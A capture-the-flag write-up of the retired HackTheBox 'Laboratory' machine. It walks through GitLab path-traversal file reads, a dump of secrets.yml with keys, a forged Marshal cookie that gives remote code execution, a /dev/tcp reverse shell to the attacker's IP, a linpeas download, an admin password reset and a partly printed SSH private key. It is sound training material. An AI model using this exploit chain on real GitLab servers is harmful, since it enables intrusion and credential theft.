Writeup: HackTheBox Laboratory Machine

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Laboratory, is retired.

Machine Info

1. TLDR

Laboratory graph

2. Preparation

I have prepared some useful variables:

export IP=10.10.10.216

3. Scanning and Reconnaissance

At first, I applied the nmap tool to identify open ports:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nmap -sC -sV -Pn -n $IP -T4 -oN nmap/01-initial.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-02 15:25 CET
Nmap scan report for 10.10.10.216
Host is up (0.043s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn: 
|_  http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.10 seconds

A scan with the nmap tool revealed a running http service on ports 80 and 443 and ssh.

I also immediately added an entry to /etc/hosts:

10.10.10.216    laboratory.htb

The service on port 80 was redirecting the browser to port 443. I tried to use the browser and test the HTTP server. The machine was hosting the website of a company in the fitness industry:

Laboratory Mainpage

A quick review of the page source to reveal the useful comments left behind was to no avail. So I launched the gobuster tool:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $gobuster dir -u https://laboratory.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://laboratory.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/02 15:51:19 Starting gobuster
===============================================================
Error: error on running goubster: unable to connect to https://laboratory.htb/: invalid certificate: x509: certificate is valid for git.laboratory.htb, not laboratory.htb

There was an error due to an incorrect certificate that was valid for git.laboratory.htb. So I corrected the entry in /etc/hosts:

10.10.10.216    laboratory.htb git.laboratory.htb

I then visited https://git.laboratory.htb.

Laboratory git

So there was a Gitlab instance on the server. So I registered an account:

Laboratory git registered

I was under the illusion that I would find a repository of the lab site project. Unfortunately, nothing of the sort, there was not a single project on the portal.

Disclaimer: At a later stage, it turned out that I had simply missed the design of the lab, but this had no effect on the solution.

So I checked the Gitlab version:

Laboratory Gitlab Version

4. Gaining access

I searched the exploit-db database to identify possible vulnerabilities in GitLab:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $searchsploit gitlab | grep 12
GitLab 12.9.0 - Arbitrary File Read           | ruby/webapps/48431.txt

There was an Arbitary File Read vulnerability in a similar version, which I decided to try to exploit.

The exploit turned out to be Python code. Unfortunately, I had trouble exploiting it due to incorrect authentication handling. So I decided to analyze the exploit code and exploit the vulnerability manually.

In short: the exploitation of the vulnerability consists in transferring between projects an ‘issue’ whose description contains a string referring to a file. An example of such a description is:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

Keeping the names used in the explorer, I set up two projects: project_01 and project_02.

Laboratory Gitlab Projects

Then in project_01, I created an issue:

Laboratory Gitlab Project01 issue

I saved it, opened it and moved it to the project_02 project:

Laboratory Gitlab Project01 issue move

After the transfer, a link to download the /etc/passwd file appeared in the issue description:

Laboratory Gitlab Project02 issue moved

So I downloaded the file and suspected its contents:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $cat passwd 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

In this way, I revealed the path to the Gitlab installation directory on the server:

/var/opt/gitlab

I then looked through GitLab’s documentation on configuration. There I found a page of interest to me with information relating to stored secrets and keys.

I downloaded the protected data file by repeating the steps leading to the exploitation of the vulnerability and referring to the path /var/opt/gitlab/gitlab-rails/etc/secrets.yml. In the body of the description of the new issue I stated:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../
../../../var/opt/gitlab/gitlab-rails/etc/secrets.yml)

The contents of the downloaded file secrets.yml:

production:
  db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    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
    -----END RSA PRIVATE KEY----

With a theoretically powerful tool in hand, I searched further through the GitLab documentation to find the possibility of using hidden parameters. Finally, I found on the web, on the project’s hackerone page, a report of this bug…. There was also entry in the thread describing the possible use of the bug as an RCE.

I added the entry to /etc/hosts:

127.0.0.1 gitlab.whitehatlab.com

I downloaded docker image and ran it:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker pull gitlab/gitlab-ce:12.8.1-ce.0
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $export GITLAB_HOME=/srv/gitlab
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker run --detach \
--hostname gitlab.whitehatlab.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:12.8.1-ce.0

I then entered the running container:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker container ls
CONTAINER ID        IMAGE                          COMMAND             CREATED             STATUS                   PORTS                                              NAMES
1ed4b0925fc6        gitlab/gitlab-ce:12.8.1-ce.0   "/assets/wrapper"   4 minutes ago       Up 4 minutes (healthy)   0.0.0.0:80->80/tcp, 22/tcp, 0.0.0.0:443->443/tcp   gitlab
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker exec -it 1ed4b0925fc6 /bin/bash

In the default secrets.yml file, I found a tip on how to properly change its compactness:

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# head -n 3 secrets.yml 
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.

So in the first file /etc/gitlab/gitlab.rb I added secret_key_base:

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# head -n 1 /etc/gitlab/gitlab.rb 
gitlab_rails['secret_key_base'] = '3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3'

a następnie zgodnie z instrukcją uruchomiłem polecenie

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# gitlab-ctl reconfigure

After the reconfiguration was completed, a changed version of secret_key_base could be observed:

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# grep secret_key_base secrets.yml 
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3

I run rails console:

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# gitlab-rails console
--------------------------------------------------------------------------------
 Ruby:         ruby 2.7.2p137 (2020-10-01 revision 5445e04352) [x86_64-linux]
 GitLab:       13.6.1 (1b6a590b197) FOSS
 GitLab Shell: 13.13.0
 PostgreSQL:   11.9
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.3.3)
irb(main):001:0> 

I then executed a script that leads to writing the setsid bash -i >& /dev/tcp/10.10.14.31/4444 0>&1 command encoded in base64 to the /dev/shm/74wny0wl.sh file:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo 'setsid bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' > /dev/shm/74wny0wl.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

An error occurred during the execution of the script:

sh: 1: Syntax error: Bad fd number

I fixed it by following the instructions:

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# mv /bin/sh /bin/sh.orig
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# ln -s /bin/bash /bin/sh

After re-executing the script, a cake was written out:

irb(main):007:0> puts cookies[:cookie]
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA+IC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--e7741536e8a462197facb2766e5e887ebc5fbe22

In order to avoid cookie parsing errors, I encoded the value using the CyberChef tool (URL Encode). The result of the encoding was a string:

BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA%2BIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2De7741536e8a462197facb2766e5e887ebc5fbe22

I then sent a request that saved the /dev/shm/74wny0wl.sh file:

curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA%2BIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2De7741536e8a462197facb2766e5e887ebc5fbe22"

I then prepared a script that would produce a cookie that would run the uploaded file:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash /dev/shm/74wny0wl.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

The cookie produced is:

BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--08db0e7791087f8ede41d1558efbb024e0d93d9b

and after encoding in CyberChef (URL Encode):

BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2D08db0e7791087f8ede41d1558efbb024e0d93d9b

So I launched the netcat tool:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...

And I sent the request:

curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2D08db0e7791087f8ede41d1558efbb024e0d93d9b"

Thus the session was established:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.216] 60894
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
git@git:~/gitlab-rails/working$ id
id
uid=998(git) gid=998(git) groups=998(git)
git@git:~/gitlab-rails/working$ 

Disclaimer: I split the vulnerability exploration process into two parts, as I had trouble making a valid connection using a single cookie. Saving the file on the server, allowed me to diagnose the process using the Arbitrary File Read vulnerability.

5. Privilege Escalation: git ⇨ dexter

I performed a shell upgrade:

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

I downloaded the linpeas.sh tool to the server:

git@git:/dev/shm$ wget http://10.10.14.31:8000/linpeas.sh

and launched them:

git@git:/dev/shm$ bash linpeas.sh

The standard output showed that I was in a Docker container:

[+] Is this a container? ........... Looks like we're in a Docker container

as well as information about a custom directory /assets, in which I found no interesting artifacts. Interestingly, there was also no subdirectory in the /home directory.

[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root git 988 Jul  2 18:01 /var/opt/gitlab/gitlab-shell/config.yml
-rw-r----- 1 root git 525 Jul  2 18:01 /var/opt/gitlab/gitlab-rails/etc/database.yml
-rw-r----- 1 root git 22583 Jul  2 18:01 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
-rw-r----- 1 root git 781 Jul  2 18:01 /var/opt/gitlab/gitaly/config.toml
-rw-r----- 1 root git 70 Jul  2 18:02 /var/opt/gitlab/gitlab-workhorse/config.toml

Browsing through the GitLab documentation, I found information on how to here and here:

I therefore started the rails console:

git@git:/assets$ gitlab-rails console
--------------------------------------------------------------------------------
 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
--------------------------------------------------------------------------------

And I inquired about the administrators of GitLab:

irb(main):014:0> User.where(admin: true)
User.where(admin: true)
=> #<ActiveRecord::Relation [#<User id:1 @dexter>]>

So the GitLab administrator was the user dexter. I found a method to reset the administrator password here. So I executed the commands:

user = User.find_by_username('dexter')
=> #<User id:1 @dexter>
irb(main):021:0> user.password = 'secret_pass'
user.password = 'secret_pass'
=> "secret_pass"
irb(main):022:0> user.password_confirmation = 'secret_pass'
user.password_confirmation = 'secret_pass'
=> "secret_pass"
irb(main):023:0> user.save!
user.save!
Enqueued ActionMailer::DeliveryJob (Job ID: 7ca2489f-54a6-4886-93c8-152314c482c2) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007fad9482a7a0 @uri=#<URI::GID gid://gitlab/User/1>>
=> true

So I tried logging into GitLab as user dexter. After correct authentication, I was given access to two repositories:

GitLab Admin Repos

My attention was immediately drawn to the repository SecureDocker marked CONFIDENTIAL.

In the repository I found, among other things, the SSH public key:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxl8OPcBJ1vlhLczCOwPz7km+d6VSz7IjbtW4MPs/bWh1J81SAIK2hIT6/yw81oH/EXQJWpAe2eGdZ7qd3FdYfBvfhROh2rqDac6W+05D0hPFJ68NJwz9y0jqHjZ0UGGz7xxb25LE7CUVHhvvQT62/cEzdahaDCle+C4/a5kXhJQ1Yr/x2z1PFhboLVaQALxnbkzse0td/Va5dT/aOfDb1vODM7ikk+8wdTFdXA3zf2MBOBCU2nn25AMFSJxd7Can/klIus49BKQOsRgCckwHh/1E13JsLoS+ZeyBL1+jgsbKFIC4W1PU6OrI5jW7AsZakviNwPEqJ+4Iw8t/mClJAe/DR+rr+EXhKmoziJcMZjunnbB7Qp6TeE/QOpC0S+7EJrvCmfcjW0qw2ZqCdd2oHeQirloRsZIRJthMBS+HjmDDaCTSX7dOw7NZWjCxomrmQLIObjHR+DwF9w+SQp+KL0qc0qyd1cgfSuDRCWU+MAL9kaGyNZJEbj2s/Kh9diu8= root@laboratory

and private:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
